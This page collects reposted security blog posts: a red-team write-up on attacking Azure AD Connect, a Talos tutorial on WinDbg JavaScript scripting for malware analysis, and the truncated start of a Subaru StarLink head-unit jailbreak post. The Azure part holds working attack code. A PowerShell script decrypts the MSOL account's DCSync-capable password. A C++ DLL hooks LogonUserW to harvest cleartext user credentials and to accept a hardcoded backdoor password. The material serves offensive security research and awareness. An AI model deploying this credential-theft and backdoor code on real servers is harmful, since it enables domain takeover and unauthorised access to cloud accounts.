Azure AD Connect for Red Teamers Posted on 18th February 2019 Tagged in redteam, active directory, azuread With clients increasingly relying on cloud services from Azure, one of the technologies that has been my radar for a while is Azure AD. For those who have not had the opportunity to work with this, the concept is simple, by extending authentication beyond on-prem Active Directory, users can authenticate with their AD credentials against Microsoft services such as Azure, Office365, Sharepoint, and hundreds of third party services which support Azure AD. If we review the available documentation, Microsoft show a number of ways in which Azure AD can be configured to integrate with existing Active Directory deployments. The first, and arguably the most interesting is Password Hash Synchronisation (PHS), which uploads user accounts and password hashes from Active Directory into Azure. The second method is Pass-through Authentication (PTA) which allows Azure to forwarded authentication requests onto on-prem AD rather than relying on uploading hashes. Finally we have Federated Authentication, which is the traditional ADFS deployment which we have seen numerous times. Now of course some of these descriptions should get your spidey sense tingling, so in this post we will explore just how red teamers can leverage Azure AD (or more specifically, Azure AD Connect) to meet their objectives. Before I continue I should point out that this post is not about exploiting some cool 0day. It is about raising awareness of some of the attacks possible if an attacker is able to reach a server running Azure AD Connect. If you are looking for tips on securing your Azure AD Connect deployment, Microsoft has done a brilliant job of documenting not only configuration and hardening recommendations, but also a lot about the internals of how Azure AD's options work under the hood. Setting up our lab Before we start to play around with Azure AD, we need a lab to simulate our attacks. To create this, we will use: A VM running Windows Server 2016 An Azure account with the Global administrator role assigned within Azure AD Azure AD Connect First you'll need to set up an account in Azure AD with Global administrator privileges, which is easily done via the management portal: Once we have an account created, we will need to install the Azure AD Connect application on a server with access to the domain. Azure AD Connect is the service installed within the Active Directory environment. It is responsible for syncing and communicating with Azure AD and is what the majority of this post will focus on. To speed up the installation process within our lab we will use the "Express Settings" option during the Azure AD Connect installation which defaults to Password Hash Synchronisation: With the installation of Azure AD Connect complete, you should get a notification like this: And with that, let's start digging into some of the internals, starting with PHS. PHS... smells like DCSync To begin our analysis of PHS, we should look at one of the assemblies responsible for handling the synchronisation of password hashes, Microsoft.Online.PasswordSynchronization.dll. This assembly can be found within the default installation path of Azure AD Sync C:\Program Files\Microsoft Azure AD Sync\Bin. Hunting around the classes and methods exposed, there are a few interesting references: As you are likely aware, DRS (Directory Replication Services) prefixes a number of API's which facilitate the replication of objects between domain controllers. DRS is also used by another of our favourite tools to recover password hashes... Mimikatz. So what we are actually seeing here is just how Azure AD Connect is able to retrieve data from Active Directory to forward it onto Azure AD. So what does this mean to us? Well as we know, to perform a DCSync via Mimikatz, an account must possess the "Replicating Directory Changes" permission within AD. Referring back to Active Directory, we can see that a new user is created during the installation of Azure AD Connect with the username MSOL_[HEX]. After quickly reviewing its permissions, we see what we would expect of an account tasked with replicating AD: So how do we go about gaining access to this account? The first thing that we may consider is simply nabbing the token from the Azure AD Connect service or injecting into the service with Cobalt Strike... Well Microsoft have already thought of this, and the service responsible for DRS (Microsoft Azure AD Sync) actually runs as NT SERVICE\ADSync, so we're going to have a work a bit harder to gain those DCSync privileges. Now by default when deploying the connector a new database is created on the host using SQL Server's LOCALDB. To view information on the running instance, we can use the installed SqlLocalDb.exe tool: The database supports the Azure AD Sync service by storing metadata and configuration data for the service. Searching we can see a table named mms_management_agent which contains a number of fields including private_configuration_xml. The XML within this field holds details regarding the MSOL user: As you will see however, the password is omitted from the XML returned. The encrypted password is actually stored within another field, encrypted_configuration. Looking through the handling of this encrypted data within the connector service, we see a number of references to an assembly of C:\Program Files\Microsoft Azure AD Sync\Binn\mcrypt.dll which is responsible for key management and the decryption of this data: To decrypt the encrypted_configuration value I created a quick POC which will retrieve the keying material from the LocalDB instance before passing it to the mcrypt.dll assembly to decrypt: Write-Host “AD Connect Sync Credential Extract POC (@_xpn_)`n” $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync" $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $key_id = $reader.GetInt32(0) $instance_id = $reader.GetGuid(1) $entropy = $reader.GetGuid(2) $reader.Close() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close() add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’ $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager $km.LoadKeySet($entropy, $instance_id, $key_id) $key = $null $km.GetActiveCredentialKey([ref]$key) $key2 = $null $km.GetKey(1, [ref]$key2) $decrypted = $null $key2.DecryptBase64ToString($crypted, [ref]$decrypted) $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}} Write-Host ("Domain: " + $domain.Domain) Write-Host ("Username: " + $username.Username) Write-Host ("Password: " + $password.Password) view raw azuread_decrypt_msol.ps1 hosted with ❤ by GitHub And when executed, the decrypted password for the MSOL account will be revealed: So what are the requirements to complete this exfiltration of credentials? Well we will need to have access to the LocalDB (if configured to use this DB), which by default holds the following security configuration: This means that if you are able to compromise a server containing the Azure AD Connect service, and gain access to either the ADSyncAdmins or local Administrators groups, what you have is the ability to retrieve the credentials for an account capable of performing a DCSync: Pass Through Authentication With the idea of password hashes being synced outside of an organisation being unacceptable to some, Azure AD also supports Pass Through Authentication (PTA). This option allows Azure AD to forward authentication requests onto the Azure AD Connect service via Azure ServiceBus, essentially transferring responsibility to Active Directory. To explore this a bit further, let's reconfigure our lab to use Pass Through Authentication: Once this change has pushed out to Azure, what we have is a configuration which allows users authenticating via Azure AD to have their credentials validated against an internal Domain Controller. This is nice compromise for customers who are looking to allow SSO but do not want to upload their entire AD database into the cloud. There is something interesting with PTA however, and that is how authentication credentials are sent to the connector for validation. Let's take a look at what is happening under the hood. The first thing that we can see are a number of methods which handle credential validation: As we start to dig a bit further, we see that these methods actually wrap the Win32 API LogonUserW via pinvoke: And if we attach a debugger, add a breakpoint on this method, and attempt to authenticate to Azure AD, we will see this: This means that when a user enters their password via Azure AD with PTA configured, their credentials are being passed un-hashed onto the connector which then validates them against Active Directory. So what if we compromise a server responsible for Azure AD Connect? Well this gives us a good position to start syphoning off clear-text AD credentials each time someone tries to authenticate via Azure AD. So just how do we go about grabbing data out of the connector during an engagement? Hooking Azure AD Connect As we saw above, although the bulk of the logic takes place in .NET, the actual authentication call to validate credentials passed from Azure AD is made using the unmanaged Win32 API LogonUserW. This gives us a nice place to inject some code and redirect calls into a function that we control. To do this we will need to make use of the SeDebugPrivilege to grab a handle to the service process (as this is running under the NT SERVICE\ADSync). Typically SeDebugPrivilege is only available to local administrators, meaning that you will need to gain local admin access to the server to modify the running process. Before we add our hook, we need to take a look at just how LogonUserW works to ensure that we can restore the call to a stable state once our code has been executed. Reviewing advapi32.dll in IDA, we see that LogonUser is actually just a wrapper around LogonUserExExW: Ideally we don't want to be having to support differences between Windows versions by attempting to return execution back to this function, so going back to the connector's use of the API call we can see that all it actually cares about is if the authentication passes or fails. This allows us to leverage any other API which implements the same validation (with the caveat that the call doesn't also invoke LogonUserW). One API function which matches this requirement is LogonUserExW. This means that we can do something like this: Inject a DLL into the Azure AD Sync process. From within the injected DLL, patch the LogonUserW function to jump to our hook. When our hook is invoked, parse and store the credentials. Forward the authentication request on to LogonUserExW. Return the result. I won't go into the DLL injection in too much detail as this is covered widely within other blog posts, however the DLL we will be injecting will look like this: #include <windows.h> #include <stdio.h> // Simple ASM trampoline // mov r11, 0x4142434445464748 // jmp r11 unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 }; BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken); HANDLE pipeHandle = INVALID_HANDLE_VALUE; void Start(void) { DWORD oldProtect; // Connect to our pipe which will be used to pass credentials out of the connector while (pipeHandle == INVALID_HANDLE_VALUE) { pipeHandle = CreateFileA("\\\\.\\pipe\\azureadpipe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); Sleep(500); } void *LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW"); if (LogonUserWAddr == NULL) { // Should never happen, but just incase return; } // Update page protection so we can inject our trampoline VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect); // Add our JMP addr for our hook *(void **)(trampoline + 2) = &LogonUserWHook; // Copy over our trampoline memcpy(LogonUserWAddr, trampoline, sizeof(trampoline)); // Restore previous page protection so Dom doesn't shout VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect); } // The hook we trampoline into from the beginning of LogonUserW // Will invoke LogonUserExW when complete, or return a status ourselves BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) { PSID logonSID; void *profileBuffer = (void *)0; DWORD profileLength; QUOTA_LIMITS quota; bool ret; WCHAR pipeBuffer[1024]; DWORD bytesWritten; swprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L"%s\\%s - %s", domain, username, password); WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL); // Forward request to LogonUserExW and return result ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, "a); return ret; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: Start(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } view raw azuread_hook_dll.cpp hosted with ❤ by GitHub And when executed, we can see that credentials are now harvested each time a user authenticates via Azure AD: Backdoor LogonUser OK, so we have seen how to retrieve credentials, but what about if we actually want to gain access to an Azure AD supported service? Well at this stage we control LogonUserW, and more importantly, we control its response, so how about we insert a backdoor to provide us access. Within our DLL code, let's add a simple check for a hardcoded password: BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) { PSID logonSID; void *profileBuffer = (void *)0; DWORD profileLength; QUOTA_LIMITS quota; bool ret; WCHAR pipeBuffer[1024]; DWORD bytesWritten; swprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L"%s\\%s - %s", domain, username, password); WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL); // Backdoor password if (wcscmp(password, L"ComplexBackdoorPassword") == 0) { // If password matches, grant access return true; } // Forward request to LogonUserExW and return result ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, "a); return ret; } Obviously you can implement a backdoor as complex or as simple as you want, but let's see how this looks when attempting to authenticate against O365: So what are the takeaways from this? Well first of all, it means for us as red teamers, targeting Azure AD Connect can help to expedite the domain admin chase. Further, if the objectives of the assessment are within Azure or another services integrated with Azure AD, we have the potential to work around authentication for any account which passes an authentication request via PTA. That being said, there is a lot of configuration and alternate options available when deploying Azure AD, so I'm keen to see any further research on just how red teamers can leverage this service. Adam Chester XPN Hacker and Infosec Researcher Sursa: https://blog.xpnsec.com/azuread-connect-for-redteam/
-
Monday, February 18, 2019 JavaScript bridge makes malware analysis with WinDbg easier Introduction As malware researchers, we spend several days a week debugging malware in order to learn more about it. We have several powerful and popular user mode tools to choose from, such as OllyDbg, x64dbg, IDA Pro and Immunity Debugger. All these debuggers utilize some scripting language to automate tasks, such as Python or proprietary languages like OllyScript. When it comes to analyzing in kernel mode, there is really one option: Windows debugging engine and its interfaces CDB, NTSD, KD and WinDbg. Unfortunately, even if WinDbg is the most user-friendly of the bunch, it is widely considered as one of the least user-friendly debuggers in the world. The learning curve for WinDbg commands is quite steep, as it combines an unintuitive and often conflicting command syntax with an outdated user interface. Adding the traditional WinDbg scripting language to this equation does not make things easier for the user as it creates an additional layer of complexity by introducing its own idiosyncrasies. Thankfully, there's a new WinDbg preview for Windows 10 that brings it in line with modern programming environments. This preview includes a new JavaScript engine and an exposed debugging data model through a set of JavaScript objects and functions. These new features bring WinDbg in line with modern programming environments such as Visual Studio, using already familiar elements of the user interface. In this post, we'll go over this new version of WinDbg's debugger data model and its new interface with JavaScript and dx commands. Debugger data model The debugger data model is an extensible object model that allows debugger extensions, as well as the WinDbg, user interface to access a number of internal debugger objects through a consistent interface. The objects relevant for malware analysis exposed through the data model are: Debugging sessions Processes Process environment (ex. Peb and Teb) Threads Modules Stack frames Handles Devices Code (disassembler) File system Debugger control Debugger variables Pseudo registers dx display expression All the above types of objects are exposed through a new command dx (display debugger object model expression), which can be used to access objects and evaluate expressions using a C++ like syntax, in a simpler and more consistent way than the one exposed through somewhat confusing mix of the MASM and the C++ expression evaluators. Thanks to the addition of the NatVis functionality to WinDbg, the results of dx command are displayed in a much more user friendly way using intuitive formatting with DML as a default output. The starting point for exploring the dx command is simply to type dx Debugger in the WinDbg command window, which will show the top level namespaces in the exposed data model. Those four namespaces are Sessions, Settings, State and Utility. DML generates output using hyperlinks, allowing the user to drill down into the individual namespaces simply by clicking on them. For example, by clicking on the Sessions hyperlink, the command dx -r1 Debugger.Sessions will be executed and its results displayed. Drilling down from the top-level namespaces to processes If we go a couple of layers further down, which can also be controlled with the -r dx command option, we will get to the list of all processes and their properties, including the _EPROCESS kernel object fields exposed as the member KernelObject of a Process debugger object. Users of earlier WinDbg versions will certainly appreciate the new ease of investigation available through the dx command. The dx command also supports tab completion, which makes navigating the data model even easier and allows the user to learn about the operating system and WinDbg internals such as debugger variables and pseudo-registers. For example, to iterate through the list of internal debugger variables you can type dx @$ and then repeatedly press the tab keyboard key, which will cycle through all defined pseudo-registers, starting from $argreg. Pseudo-registers and internal variables are useful if we want to avoid typing full object paths after the dx command. Instead of Debugger.Sessions[0] you can simply use the pseudo-register @$cursession, which points to the current session data model object. If you need to work with the current process you can simply type dx @$curprocess instead of the longer dx Debugger.Sessions[0].Process[procid]. Linq queries Linq (Language Integrated Query) is an already familiar concept for .NET software engineers that allows the user to create SQL-like queries over the object collections exposed through the dx command. There are two syntaxes available for creating Linq expressions for normal .NET development, but WinDbg, through the dx command, only supports creating queries using the Lambda expression syntax. Linq queries allow us to slice and dice the collection objects and extract the pieces of information we are interested in displaying. The Linq function "Where" allows us to select only those objects which satisfy a condition specified by the Lambda expression argument supplied as the function argument. For example, to display only processes which have the string "Google" in the name, we can type: dx @$cursession.Processes.Where(p => p.Name.Contains("Google")) Just like in SQL, the "Select" function allows us to choose which members of an object in the collection we would like to display. For example, for the processes we already filtered using the "Where" function, we can use "Select" to retrieve only the process name and its ID: dx -r2 @$cursession.Processes.Where(p => p.Name.Contains("Google")).Select(p => New { Name=p.Name, Id=p.Id }) Going one level deeper, into the exposed _EPROCESS kernel object, we can choose to display a subset of handles owned by the process under observation. For example, one of the methods to find processes hidden by a user mode rootkit is to enumerate process handles of the Windows client server subsystem process (csrss.exe) and compare that list with a list generated using a standard process enumeration command. Before we list processes created by csrss.exe, we need to find the csrss.exe process(es) objects and once we find them, switch into their context: dx @$cursession.Processes.Where(p => p.Name.Contains("csrss.exe"))[pid].SwitchTo() We can now run a Linq query to display the paths to the main module of the processes present in the csrss.exe handle table: dx @$curprocess.Io.Handles.Where(h => h.Type.Contains("Process")).Select(h => h.Object.UnderlyingObject.SeAuditProcessCreationInfo.ImageFileName->Name) Since ImageFileName is a pointer to a structure of the type _OBJECT_NAME_INFORMATION, we need to use the arrow to dereference it and access the "Name" fields containing the module path. There are many other useful Linq queries. For example, users can order the displayed results based on some criteria, which is similar to the Order By SQL clause, or count the results of the query using the "Count" function. Linq queries can also be used in the JavaScript extension, but their syntax is once again slightly different. We will show an example of using Linq within JavaScript later in the blog post. WinDbg and JavaScript Now that we've covered the basics of the debugger data model and the dx command to explore it, we can move on to the JavaScript extension for WinDbg. Jsprovider.dll is a native WinDbg extension allowing the user to script WinDbg and access the data model using a version of Microsoft's Chakra JavaScript engine. The extension is not loaded by default into the WinDbg process space — it must be done manually. This avoids potential clashes with other JavaScript-based extensions. Jsprovider is loaded using the standard command for loading extensions: .load jsprovider.dll While this post discusses conventional scripts a threat researcher may create while analysing a malware sample, it is worth mentioning that the JavaScript extension also allows developers to create WinDbg extensions that feel just as existing binary extensions. More information about creating JavaScript-based extensions can be found by investigating one of the extensions provided through the official GitHub repository of WinDbg JavaScript examples. WinDbg Preview contains a fully functional Integrated Development Environment (IDE) for writing JavaScript code, allowing the developer to refactor their code while debugging a live program or investigating a memory dump. The following WinDbg commands are used to load and run JavaScript based scripts. The good news is that the commands for handling JavaScript-based scripts are more intuitive compared to the awkward standard syntax for managing WinDbg scripts: .scriptload command loads a JavaScript script or an extension into WinDbg but it does not execute it. .scriptrun runs the loaded script. .scriptunload unloads the script from WinDbg and from the debugger data model namespace. .scriptlist lists all currently loaded scripts. JavaScript entry points Depending on the script command used to load the script, the JavaScript provider will call one of the predefined user script entry points or execute the code in the script root level. From the point of view of a threat researcher, there are two main entry points. The first is a kind of a script constructor function named initializeScript, called by the provider when the .scriptload command is executed. The function is usually called to initialize global variables, and define constants, structures and objects. The objects defined within the initializeScript function will be bridged into the debugger data model namespaces using the functions host.namespacePropertyParent and host.namedModelParent. The bridged objects can be investigated using the dx command as any other native object in the data model. The second, and even more important entry point is the function invokeScript, an equivalent of the C function main. This function is called when the user executes the .scriptrun WinDbg command. Useful tricks for JavaScript exploration Now we will assume that we have a script named "myutils.js" where we keep a set of functions we regularly use in our day-to-day research. First, we need to load the script using the .scriptload function. Loading script functions from the user's Desktop folder WinDbg JavaScript modules and namespaces The main JavaScript object we use to interact with the debugger is the host object. If we are using WinDbg Preview script editor, the Intellisense tab completion and function documentation feature will help us with learning the names of the available functions and members. IntelliSense in action If we just want to experiment, we can put our code into the invokeScript function which will get called every time we execute the script. Once we are happy with the code, we can refactor it and define our own set of functions. Before we dig deeper into the functionality exposed through the JavaScript interface, it is recommended to create two essential helper functions for displaying text on the screen and for interacting with the debugger using standard WinDbg commands. They will be helpful for interaction with the user and for creating workarounds around some functionality that is not yet natively present in JavaScript, but we would need it for debugging. In this example, we named these functions logme and exec. They are more or less just wrappers around the JavaScript functions with the added advantage that we don't need to type the full namespace hierarchy in order to reach them. Helper functions wrapping parts of the JavaScript WinDbg API In the function exec, we see that by referencing the host.namespace.Debugger namespace, we are able to access the same object hierarchy through JavaScript as we would with the dx command from the WinDbg command line. The ExecuteCommand function executes any of the known WinDbg commands and returns the result in a plain text format which we can parse to obtain the required results. This approach is not much different to the approach available in the popular Python based WinDbg extension pykd. However, the advantage of Jsprovider over pykd is that most of the JavaScript extension functions return JavaScript objects thatdo not require any additional parsing in order to be used for scripting. For example, we can iterate over a collection of process modules by accessing host.currentProcess.Modules iterable. Each member of the iterable array is an object of class Module and we can display its properties, in this case the name. It is worth noting that Intellisense is not always able to display all members of a JavaScript object and that is when the for-in loop statement can be very useful. This loop allows us to iterate through names of all the object members which we can print to help during exploration and development. Displaying the members of a Module object On the other hand, the for-of loop statement iterates through all members of an iterable object and returns their values. It is important to remember distinction between these two for loop forms. Printing list of modules loaded into the current process space We can also fetch a list of loaded modules by iterating through the Process Environment Block (PEB) linked list of loaded modules although this requires more preparation to convert the linked list into a collection by calling the JavaScript function host.namespace.Debugger.Utility.Collections.FromListEntry. Here is a full listing of a function which converts the linked list of loaded modules into a JavaScript array of modules and displays their properties. function ListProcessModulesPEB (){ //Iterate through a list of Loaded modules in PEB using FromListEntry utility function for (var entry of host.namespace.Debugger.Utility.Collections.FromListEntry(host.currentProcess.KernelObject.Peb.Ldr.InLoadOrderModuleList, "nt!_LIST_ENTRY", "Flink")) { //create a new typed object using a _LIST_ENTRY address and make it into _LDR_TABLE_ENTRY var loaderdata=host.createTypedObject(entry.address,"nt","_LDR_DATA_TABLE_ENTRY"); //print the module name and its virtual address logme("Module "+host.memory.readWideString(loaderdata.FullDllName.Buffer)+" at "+ loaderdata.DllBase.address.toString(16) + " Size: "+loaderdata.SizeOfImage.toString(16)); } } This function contains the code to read values from process memory, by accessing the host.memory namespace and calling one of the functions readMemoryValues, readString or readWideString, depending on the type of data we need to read. JavaScript 53-bit integer width limitation Although programming WinDbg using JavaScript is relatively simple compared to standard WinDbg scripts, we need to be aware of few facts that may cause a few headaches. The first is the fact that the width of JavaScript integers is limited to 53 bits, which may cause some issues when working with native, 64-bit values. For that reason, the JavaScript extension has a special class host.Int64 whose constructor needs to be called when we want to work with 64-bit numbers. Luckily, the interpreter will warn us when a 53-bit overflow can occur. A host.Int64 object has a number of functions that allow us to execute arithmetic and bitwise operations on it. When trying to create a function to iterate through an array of callbacks registered using the PspCreateProcessNotifyRoutine function shown later in the post, I was not able to find a way to apply a 64-bit wide And bitmask. The masking function seemed to revert back to the 53-bit width, which would create an overflow if the mask was wider than 53 bits. Masking a host.Int64 with a 53-bit And mask yields a correct result and incorrect if wider Luckily, there are functions GetLowPart and GetHighPart, which respectively return lower or upper 32 bits of a 64-bit integer. This allows us to apply the And mask we need and get back the required 64-bit value by shifting the higher 32-bit value to the left by 32 and adding the lower 32 bits to it. The 53-bit limitation for WinDbg JavaScript implementation is an annoyance and it would be very welcome if WinDbg team could find a way to overcome it and support 64 bit numbers without resorting to the special JavaScript class. Linq in JavaScript We have already seen how Linq queries can be used to access a subset of debugger data model objects and their members using the dx commands. However, their syntax in JavaScript is slightly different and it requires the user to supply either an expression that returns a required data type or supply an anonymous function as an argument to a Linq verb function call returning the required data type. For example, for the "Where" Linq clause, the returned value has to be a boolean type. For the "Select" clause, we need to supply a member of an object we would like to select or a new anonymous object composed of a subset of the queried object members. Here is a simple example using Linq functions filtering a list of modules to display only those modules whose name contains the string "dll" and selects only the module name and its base address to display. function ListProcessModules(){ //An example on how to use LINQ queries in JavaScript //Instead of a Lambda expression supply a function which returns a boolean for Where clause or let mods=host.currentProcess.Modules.Where(function (k) {return k.Name.includes("dll")}) //a new object with selected members of an object we are looking at (in this case a Module) .Select(function (k) {return { name: k.Name, adder:k.BaseAddress} }); for (var lk of mods) { logme(lk.name+" at "+lk.adder.toString(16)); } } Inspecting operating system structures A good starting point for getting the kernel functions and structures addresses is the function host.getModuleSymbolAddress.If we need the actual value stored in the retrieved symbol, we need to dereference the address using host.memory.readMemoryValues function or the dereference function for a single value. Here is an example enumerating callbacks registered using the documented PspCreateProcessNotifyRoutine kernel function that registers driver functions which will be notified every time a process is created or terminated. This is also used by kernel mode malware, for hiding processes or for preventing user mode modules of the malware from termination. The example in the post is inspired by the C code for enumerating callbacks implemented in the SwishDbgExt extension developed by Matthieu Suiche. This WinDbg extension is very useful for analysing systems infected by kernel mode malware, as well as kernel memory dumps. The code shows that even more complex functions can be relatively easily implemented using JavaScript. In fact, development using JavaScript is ideal for malware researchers as writing code, testing and analysis can be all be performed in parallel using the WinDbg Preview IDE. function ListProcessCreateCallbacks() { PspCreateNotifyRoutinePointer=host.getModuleSymbolAddress("ntkrnlmp","PspCreateProcessNotifyRoutine"); let PspCreateNotify=host.memory.readMemoryValues(PspCreateNotifyRoutinePointer,1,8); let PspCallbackCount=host.memory.readMemoryValues(host.getModuleSymbolAddress("ntkrnlmp","PspCreateProcessNotifyRoutineCount"),1,4); logme ("There are "+PspCallbackCount.toString()+" PspCreateProcessNotify callbacks"); for (let i = 0; i<PspCallbackCount;i++){ let CallbackRoutineBlock=host.memory.readMemoryValues(PspCreateNotifyRoutinePointer.add(i * 8),1,8); let CallbackRoutineBlock64=host.Int64(CallbackRoutineBlock[0]); //A workaround seems to be required here to bitwise mask the lowest 4 bits, //Here we have: //Get lower 32 bits of the address we need to mask and mask it to get //lower 32 bits of the pointer to the _EX_CALLBACK_ROUTINE_BLOCK (undocumented structure known in ReactOS) let LowCallback=host.Int64(CallbackRoutineBlock64.getLowPart()).bitwiseAnd(0xfffffff0); //Get upper 32 bits of the address we need to mask and shift it left to create a 64 bit value let HighCallback=host.Int64(CallbackRoutineBlock64.getHighPart()).bitwiseShiftLeft(32); //Add the two values to get the address of the i-th _EX_CALLBACK_ROUTINE_BLOCK let ExBlock=HighCallback.add(LowCallback); //finally jump over the first member of the structure (quadword) to read the address of the callback let Callback=host.memory.readMemoryValues(ExBlock.add(8),1,8); //use the .printf trick to resolve the symbol and print the callback let rez=host.namespace.Debugger.Utility.Control.ExecuteCommand(".printf \"%y\n\", " + Callback.toString()); //print the function name using the first line of the response of .printf command logme("Callback "+i+" at "+Callback.toString()+" is "+rez[0]); } } Here we see the manipulation of the 64-bit address mentioned above. We split a 64-bit value into upper and lower 32 bits and apply the bitmask separately to avoid a 53-bit JavaScript integer overflow. Another interesting point is the use of the standard debugger command .printf to do a reverse symbol resolution. Although the JavaScript function host.getModuleSymbolAddress allows us to get the address of the required symbol, as of writing this blog post there are no functions which allow us to get the symbol name from an address. That is why the workaround .printf is used with the %y format specifier which returns a string containing the name of the specified symbol. Debugging the debugging scripts Developers of scripts in any popular language know that for successful development, the developer also requires a set of tools that will allow debugging. The debugger needs to be able to set breakpoints and inspect values of variables and objects. This is also required when we are writing scripts that need to access various operating system structures or to analyse malware samples. Once again, the WinDbg JavaScript extension delivers the required functionality in the form of a debugging tool whose commands will be very familiar to all regular WinDbg users. The debugger is launched by executing the command .scriptdebug, which prepares the JavaScript debugger for debugging a specific script. Once the debugger has loaded the script, have an option to choose events which will cause the debugger to stop as well as set breakpoints on specific lines of script code. The command sxe within the JavaScript debugger is used, just as in WinDbg, to define after which events the debugger will break. For example, to break on the first executed line of a script we simply type sxe en. Once the command has successfully executed we can inspect the status of all available events by using the command sx. Sx shows JavaScript debugger breaking status for various exceptions Now, we also have an opportunity to specify the line of the script where the breakpoint should be set using the command bp, just as in standard WinDbg syntax. To set a breakpoint, the user needs to specify a line number together with the position on the line, for example bp 77:0. If the specified line position is 0, the debugger automatically sets the breakpoint on the first possible position on the line which helps us to avoid counting the required breakpoint positions. Setting a breakpoint on line position 0 sets it on the first possible position Now that we have set up all the required breakpoints we have to exit the debugger, which is a slightly unintuitive step. The debugging process continues after calling the script either by accessing the WinDbg variable @$scriptContents and calling any of the functions of the script we wish to debug or by launching the script using .scriptrun as usual. Naturally, the @$scriptContents variable is accessed using the dx command. Scripts can be launched for debugging using the @$scriptContents variable The debugger contains its own JavaScript evaluator command ??, which allows us to evaluate JavaScript expressions and inspect values of the script variables and objects. Commands ? or ?? are used to inspect display result of JavaScript expressions . JavaScript debugging is a powerful tool required for proper development. Although its function is already sufficient in early JavaScript extension versions, we hope that its function will become richer and more stable over time, as WinDbg Preview moves closer to its full release. Conclusion We hope that this post provided you with few pointers to functionality useful for malware analysis available through the official Microsoft JavaScript WinDbg extension. Although the API exposed through JavaScript is not complete, there are usually ways to work around the limitations by wrapping standard WinDbg commands and parsing their output. This solution is not ideal and we hope that new functionality will be added directly to the JavaScript provider to make the scripting experience even more user friendly. The Debugging Tools for Windows development team seems to be committed to adding new JavaScript modules as was recently demonstrated through the addition of the file system interaction and the Code namespace module which open a whole new set of possibilities for code analysis we may be able to cover in one of our next posts. Interested readers are invited to check out the CodeFlow JavaScript extension made available through the official examples repository on Github. If you would like to learn a few more tips on malware analysis using WinDbg and JavaScript Cisco Talos will be presenting a session at the CARO Workshop in Copenhagen in May. References dx command MASM and C++ WinDbg evaluators Linq and the debugger data model Debugger data model for reversers Debugging JavaScript in WinDbg JavaScript debugger example scripts WinDbg JavaScript scripting video DX command video Debugger object model video Posted by Vanja Svajcer at 12:29 PM Sursa: https://blog.talosintelligence.com/2019/02/windbg-malware-analysis-with-javascript.html#more
-
Jailbreaking Subaru StarLink Another year, another embedded platform. This exercise, while perhaps less important than the medical security research I've worked on the past, is a bit more practical and entertaining. What follows is a technical account of gaining persistent root code execution on a vehicle head unit. Table of Contents Jailbreaking Subaru StarLink Table of Contents Introduction Shared Head Unit Design Existing Efforts SSH Finding the Manufacturer Harman and QNX Dr. Charlie Miller & Chris Valasek's Paper First Recap Analysis of Attack Surfaces USB Update Mechanism On My Warranty Hardware Analysis Board Connectors Serial Port Installing the Update Firmware swdl.iso IFS Files ifs-subaru-gen3.raw Contents Files of Note minifs.ifs Contents ISO Modification Reverse Engineering QNXCNDFS installUpdate Flow cdqnx6fs Cluster Table Cluster Data Decrypting Key Generation Emulation Cluster Decryption Cluster Decompression Mounting the Image The Extents Section Understanding the Extents Final Decompression system.dat ifs_images Back to QNXCNDFS The Shadow File Non-privileged Code Execution Image Creation Root Escalation Backdooring SSH Putting it All Together CVE-2018-18203 Next Steps Notes from Subaru and Harman Note from Subaru Note from Harman Conclusion Introduction Back in June, I purchased a new car: the 2018 Subaru Crosstrek. This vehicle has an interesting head unit that's locked down and running a proprietary, non-Android operating system. Let's root it. If this was Android, we could most likely find plenty of pre-existing PoCs and gain root rather trivially as most vehicle manufacturers never seem to update Android. Because this isn't an old Android version, we'll have to put a little more work in than usual. Shared Head Unit Design In 2017, Subaru launched a new version of their StarLink head unit on the Impreza. The same head unit appears to be used on the 2018+ Crosstrek, as well as the latest Forester and Ascent. If we can root the base device, we can potentially root every head unit on every vehicle sharing the same platform. There are a few SKUs for the head units on the Crosstrek and Impreza. The cheapest model has a 6-inch screen. A higher trim model has an 8-inch screen, and the top of the line model has the 8-inch screen as well as an embedded GPS mapping system. All models support Apple Carplay and 